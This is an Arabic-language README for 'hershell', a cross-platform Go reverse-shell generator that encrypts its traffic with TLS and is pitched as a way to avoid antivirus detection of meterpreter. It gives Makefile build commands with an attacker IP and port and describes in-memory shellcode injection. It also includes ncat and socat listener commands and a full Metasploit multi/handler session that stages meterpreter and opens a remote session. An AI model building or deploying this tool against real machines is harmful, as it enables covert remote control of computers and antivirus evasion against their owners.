
مولد شل عكسية متعددة المنصات
غلاف عكسي بسيط عبر TCP مكتوب بلغة Go.
يستخدم TLS لتأمين الاتصالات، ويوفر ميزة تثبيت بصمة المفتاح العام للشهادة، مما يمنع اعتراض حركة المرور.
أنظمة التشغيل المدعومة:
على الرغم من أن حمولات meterpreter رائعة، إلا أنها تُكتشف أحيانًا بواسطة منتجات مكافحة الفيروسات.
الهدف من هذا المشروع هو الحصول على غلاف عكسي بسيط يمكنه العمل على أنظمة متعددة.
نظرًا لأنه مكتوب بلغة Go، يمكنك تجميع المصدر عبر الأنظمة للهندسة المعمارية المطلوبة.
نظرًا لأن هذا مشروع Go، ستحتاج إلى اتباع الوثائق الرسمية لإعداد بيئة Golang الخاصة بك (مع متغير البيئة $GOPATH).
ثم، قم بتشغيل go get github.com/lesnuages/hershell لجلب المشروع.
لتبسيط الأمور، يمكنك استخدام ملف Makefile المقدم. يمكنك تعيين متغيرات البيئة التالية:
GOOS : نظام التشغيل الهدفGOARCH : الهندسة المعمارية الهدفLHOST : عنوان IP أو اسم المجال للمهاجمLPORT : منفذ المستمعبالنسبة لمتغيري GOOS و GOARCH، يمكنك الحصول على القيم المسموح بها هنا.
ومع ذلك، تتوفر بعض الأهداف المساعدة في Makefile:
depends : إنشاء شهادة الخادم (مطلوبة للغلاف العكسي)windows32 : بناء ملف قابل للتنفيذ لنظام ويندوز 32 بت (PE 32 بت)windows64 : بناء ملف قابل للتنفيذ لنظام ويندوز 64 بت (PE 64 بت)linux32 : بناء ملف قابل للتنفيذ لنظام لينكس 32 بت (ELF 32 بت)linux64 : بناء ملف قابل للتنفيذ لنظام لينكس 64 بت (ELF 64 بت)macos32 : بناء ملف قابل للتنفيذ لنظام ماك أو إس 32 بت (Mach-O)macos64 : بناء ملف قابل للتنفيذ لنظام ماك أو إس 64 بت (Mach-O)بالنسبة لهذه الأهداف، تحتاج فقط إلى تعيين متغيري البيئة LHOST و LPORT.
بمجرد التنفيذ، سيتم توفير غلاف عن بعد لك.
سيسمح لك هذا الغلاف التفاعلي المخصص بتنفيذ أوامر النظام عبر cmd.exe على ويندوز، أو /bin/sh على أجهزة UNIX.
الأوامر الخاصة التالية مدعومة:
run_shell : يمنحك غلاف نظام (يسمح لك، على سبيل المثال، بتغيير الدلائل)inject <base64 shellcode> : يحقن شيلكود (مشفر base64) في ذاكرة نفس العملية وينفذهmeterpreter [tcp|http|https] IP:PORT : يتصل بـ multi/handler للحصول على meterpreter من metasploit للمرحلة الثانية عبر TCP أو HTTP أو HTTPS، وينفذ الشيلكود في الذاكرة (نظام ويندوز فقط حاليًا)exit : الخروج بأمانأولاً، ستحتاج إلى إنشاء شهادة صالحة:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
لنظام ويندوز:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
لنظام لينكس:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
لنظام ماك أو إس إكس
$ make macos LHOST=192.168.0.12 LPORT=1234
يمكن استخدام أدوات متنوعة للتعامل مع الاتصالات الواردة، مثل:
python/shell_reverse_tcp_ssl)فيما يلي مثال باستخدام ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
فيما يلي مثال باستخدام socat (تم اختباره مع الإصدار 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
تحذير: هذا يعمل حاليًا فقط على منصة ويندوز.
يدعم تنظيم meterpreter حاليًا الحمولات التالية:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsلاستخدام الحمولة الصحيحة، فقط حدد النقل الذي تريد استخدامه (tcp, http, https)
لاستخدام ميزة تنظيم meterpreter، فقط ابدأ المعالج الخاص بك:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
ثم، في hershell، استخدم الأمر meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
يجب أن تظهر جلسة meterpreter جديدة في msfconsole:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x لميزة Dockerfile